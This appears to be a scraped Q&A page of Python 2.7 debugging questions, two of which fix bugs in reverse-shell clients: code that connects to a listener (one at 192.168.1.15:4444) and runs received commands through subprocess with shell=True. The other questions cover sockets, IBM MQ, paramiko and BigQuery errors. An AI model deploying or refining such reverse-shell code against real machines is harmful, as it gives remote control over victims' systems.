socket client issue '__getitem__' - python-2.7

Hi there I was watching some tutorials about a Revers shell using python in youtube https://www.youtube.com/watch?v=-QMPYah8fWI&index=5&list=PL6gx4Cwl9DGCbpkBEMiCaiu_3OL-_Bz_8][1]
the purpose of this client is to receive command from the server , the server works great but when I ran the client it gave me this
File "/root/Desktop/Revers/client.py", line 15, in <module>
if data[:2].decode('utf-8') == "cd":
TypeError: 'module' object has no attribute '__getitem_
here is the code :
s = socket.socket()
s.connect((host, port))
while True:
date = s.recv(1024)
if data[:2].decode('utf-8') == "cd":
os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes)
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
print(output_str)
s.close()

There is a typo on this line:
date = s.recv(1024)
date instead of data.
So the expression data[:2] calls data.__getitem__ where data is defined before.
As the error about a 'module' object, I guess data is a module you importe before.

Related

with conn: AttributeError: __exit__ when using socket to receive message

I have a script, in python, that need to communicate with another script, in java, through socket, the python script will only receive messages and i'm using a library called mininet to do my stuff and apparently it cant run on python3 so i need to use python2. I currently use python2.7.15+
I searched on stack and i didn't find this problem in the context that i have, apparently the with statement don't implement a context manager and for some reason i need this on the socket fucntion (i'm very unfamiliar with python so if this situation is easily explained by a basic python knowledge forgive me)
def start_socket(self):
HOST = 'localhost'
PORT = 8888
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Socket created'
#Bind socket to local host and port
try:
s.bind((HOST, PORT))
except socket.error as msg:
print 'Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
sys.exit()
print 'Socket bind complete'
#Start listening on socket
s.listen(10)
print 'Socket now listening'
while 1:
conn, addr = s.accept()
with conn:
print('Connected by', addr)
data = conn.recv(1024)
message = data.decode(encoding='UTF-8')
if (message == 'start7'):
topo_size = "7"
s.close()
elif (message == 'start6'):
topo_size = "6"
s.close()
elif (message == 'start5'):
topo_size = "5"
s.close()
elif (message == 'start4'):
topo_size = "4"
s.close()
elif (message == 'start3'):
topo_size = "3"
s.close()
elif (message == 'start2'):
topo_size = "2"
s.close()
elif (message == 'start1'):
topo_size = "1"
s.close()
break
This function is called on a main function that need to wait a order from the other script in java, and after determines what message is between this seven possible messages, he breaks and proceed with the code. The expected here is that it check what messages is and proceed with the code but what happening is: when the function is called the code blocks until receive a connection and when the other script connects, the python script throws an error saying that there's a problem with the line:
with conn:
The complete error is:
Socket created
Socket now listening
Traceback (most recent call last):
File "script_initial.py", line 669, in <module>
teste.run_topo()
File "script_initial.py", line 643, in run_topo
self.start_socket()
File "script_initial.py", line 584, in start_socket
with conn:
AttributeError: __exit__
In Python 2.7 the socket object does not support the context manager interface. You therefore cannot use the with statement with the socket object and have to explicitly call its close method after you're done using it.
Change:
conn, addr = s.accept()
with conn:
print('Connected by', addr)
data = conn.recv(1024)
...
to:
conn, addr = s.accept()
print('Connected by', addr)
data = conn.recv(1024)
...
conn.close()

raise MQMIError(rv[-2], rv[-1]) pymqi.MQMIError: MQI Error. Comp: 2, Reason 2085: FAILED: MQRC_UNKNOWN_OBJECT_NAME

I am newbie to python. I am trying to connect to my IBM MQ and put some messages in them through the Python code.
import pymqi
queue_manager = 'XXXXXX'
channel = 'XXXXX'
host = 'XXXXX'
port = 'XXXX'
conn_info = '%s(%s)' % (host, port)
qmgr = pymqi.connect(queue_manager, channel, conn_info)
file = open('E:\D Drive Back up\Scripts\Data1.csv','r')
y = file.readlines()
print y[1]
putQ = pymqi.Queue(qmgr, queue_manager)
putQ.put(y[1])
qmgr.disconnect()
Sample Data which I am trying to input:
{1:F01COBADEFFGXXX3575743055}{2:I103BARCGB22GXXXU3003}{4:##:20:Forw092010004R1##:23B:CRED##:32A:181010EUR250000,00##:50F:/N101000004EUR##1/John Doe##2/Dankelmannstrasse 6##3/DE/Berlin##:59F:/N101000004EUR##1/Jane Doe##2/Wissmannstr 1##3/DE/Berlin##:71A:BEN##-}{5:{MAC:11111111}{CHK:6E470F24FDE6}}
The output I am getting is this:
E:\D Drive Back up\Scripts>python MQ.py
{1:F01COBADEFFGXXX3575743055}{2:I103BARCGB22GXXXU3003}{4:##:20:Forw092010R1##:23B:CRED##:32A:181010EUR1000000,00##:50F:/N101000004EUR##1/John Doe##2/Dankelmannstrasse 6##3/DE/Berlin##:59F:/N101000004EUR##1/Jane Doe##2/Wissmannstr 1##3/DE/Berlin##:71A:BEN##-}{5:{MAC:11111111}{CHK:6E470F24FDE6}}
Traceback (most recent call last):
File "MQ.py", line 19, in
putQ.put(y[1])
File "C:\Users\aassharma\AppData\Local\Continuum\anaconda2\lib\site-packages\pymqi_init_.py", line 1727, in put
self._realOpen()
File "C:\Users\aassharma\AppData\Local\Continuum\anaconda2\lib\site-packages\pymqi_init.py", line 1632, in __realOpen
raise MQMIError(rv[-2], rv[-1])
pymqi.MQMIError: MQI Error. Comp: 2, Reason 2085: FAILED: MQRC_UNKNOWN_OBJECT_NAME
Compare your code to the pymqi put sample from - https://dsuch.github.io/pymqi/examples.html#how-to-put-the-message-on-a-queue
import pymqi
queue_manager = 'QM1'
channel = 'DEV.APP.SVRCONN'
host = '127.0.0.1'
port = '1414'
queue_name = 'TEST.1'
message = 'Hello from Python!'
conn_info = '%s(%s)' % (host, port)
qmgr = pymqi.connect(queue_manager, channel, conn_info)
queue = pymqi.Queue(qmgr, queue_name)
queue.put(message)
queue.close()
qmgr.disconnect()
As Morag Hughson and JoshMc already pointed out, the difference is queue_name. You don't specify one.
It should be something like 'DEV.QUEUE.1' and used as the second parameter in the call to connect to the queue - queue = pymqi.Queue(qmgr, queue_name). You pass in the Queue Manager, which I guess will be something like 'QM1', which is very unlikely to be the queue name on your MQ Server, and also why you are getting the error MQRC_UNKNOWN_OBJECT_NAME.

WindowsError: [Error 123] The filename, directory name, or volume label syntax is incorrect

I'm making a simple Python 2.7 reverse-shell , for the directory change function everytime I type cd C:\ in my netcat server it throws this error "WindowsError: [Error 123] The filename, directory name, or volume label syntax is incorrect: 'C:\\n'" Here is my code.
import socket
import os
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "192.168.1.15"
port = 4444
s.connect((host, port))
s.send(os.getcwd() + '> ')
def Shell():
while True:
data = s.recv(1024)
if data[:2] == 'cd':
os.chdir(data[3:])
if len(data) > 0:
proc = subprocess.Popen(data, shell = True ,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
result = proc.stdout.read() + proc.stderr.read()
s.send(result)
s.send(os.getcwd() + '> ')
print(data)
Shell()
When you use data = s.recv(1024) to receive data from remote, the \n character, generated when you press Enter to end current input, will be received at the same time.
So you just need to .strip() it, or use [:-1] to remove the last character (which is \n), when you get data.
data = s.recv(1024).strip()
or
data = s.recv(1024)[:-1]
may both OK.

how to run two process in parallel using multiprocessing module in python

My requirement is to capture logs for a particular http request sent to server from project server log file. So have written two function and trying to execute them parallel using multiprocessing module. But only one is getting executed. not sure what is going wrong.
My two functions - run_remote_command - using paramiko module for executing the tail command on remote server(linux box) and redirecting the output to a file. And send_request - using request module to make POST request from local system (windows laptop) to the server.
Code:
import multiprocessing as mp
import paramiko
import datetime
import requests
def run_remote_command():
basename = "sampletrace"
suffixname = datetime.datetime.now().strftime("%y%m%d_%H%M%S")
filename = "_".join([basename, suffixname])
print filename
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(hostname='x.x.x.x',username='xxxx',password='xxxx')
except Exception as e:
print "SSH Connecting to Host failed"
print e
ssh.close()
print ssh
tail = "tail -1cf /var/opt/logs/myprojectlogFile.txt >"
cmdStr = tail + " " + filename
result = ''
try:
stdin, stdout, stderr = ssh.exec_command(cmdStr)
print "error:" +str( stderr.readlines())
print stdout
#logger.info("return output : response=%s" %(self.resp_result))
except Exception as e:
print 'Run remote command failed cmd'
print e
ssh.close()
def send_request():
request_session = requests.Session()
headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = "some data "
URL = "http://X.X.X.X:xxxx/request"
request_session.headers.update(headers)
resp = request_session.post(URL, data=data)
print resp.status_code
print resp.request.headers
print resp.text
def runInParallel(*fns):
proc = []
for fn in fns:
p = mp.Process(target=fn)
p.start()
proc.append(p)
for p in proc:
p.join()
if __name__ == '__main__':
runInParallel(run_remote_command, send_request)
Output: only the function send_request is getting executed. Even I check the process list of the server there is no tail process is getting created
200
Edited the code per the #Ilja comment

Exception when trying to create bigquery table via python API

I'm working on an app that will stream events into BQ. Since Streamed Inserts require the table to pre-exist, I'm running the following code to check if the table exists, and then to create it if it doesn't:
TABLE_ID = "data" + single_date.strftime("%Y%m%d")
exists = False;
request = bigquery.tables().list(projectId=PROJECT_ID,
datasetId=DATASET_ID)
response = request.execute()
while response is not None:
for t in response.get('tables', []):
if t['tableReference']['tableId'] == TABLE_ID:
exists = True
break
request = bigquery.tables().list_next(request, response)
if request is None:
break
if not exists:
print("Creating Table " + TABLE_ID)
dataset_ref = {'datasetId': DATASET_ID,
'projectId': PROJECT_ID}
table_ref = {'tableId': TABLE_ID,
'datasetId': DATASET_ID,
'projectId': PROJECT_ID}
schema_ref = SCHEMA
table = {'tableReference': table_ref,
'schema': schema_ref}
table = bigquery.tables().insert(body=table, **dataset_ref).execute(http)
I'm running python 2.7, and have installed the google client API through PIP.
When I try to run the script, I get the following error:
No handlers could be found for logger "oauth2client.util"
Traceback (most recent call last):
File "do_hourly.py", line 158, in <module>
main()
File "do_hourly.py", line 101, in main
body=table, **dataset_ref).execute(http)
File "build/bdist.linux-x86_64/egg/oauth2client/util.py", line 142, in positional_wrapper
File "/usr/lib/python2.7/site-packages/googleapiclient/http.py", line 721, in execute
resp, content = http.request(str(self.uri), method=str(self.method),
AttributeError: 'module' object has no attribute 'request'
I tried researching the issue, but all I could find was info about confusing between urllib, urllib2 and Python 2.7 / 3.
I'm not quite sure how to continue with this, and will appreciate all help.
Thanks!
Figured out that the issue was in the following line, which I took from another SO thread:
table = bigquery.tables().insert(body=table, **dataset_ref).execute(http)
Once I removed the "http" variable, which doesn't exist in my scope, the exception dissappeared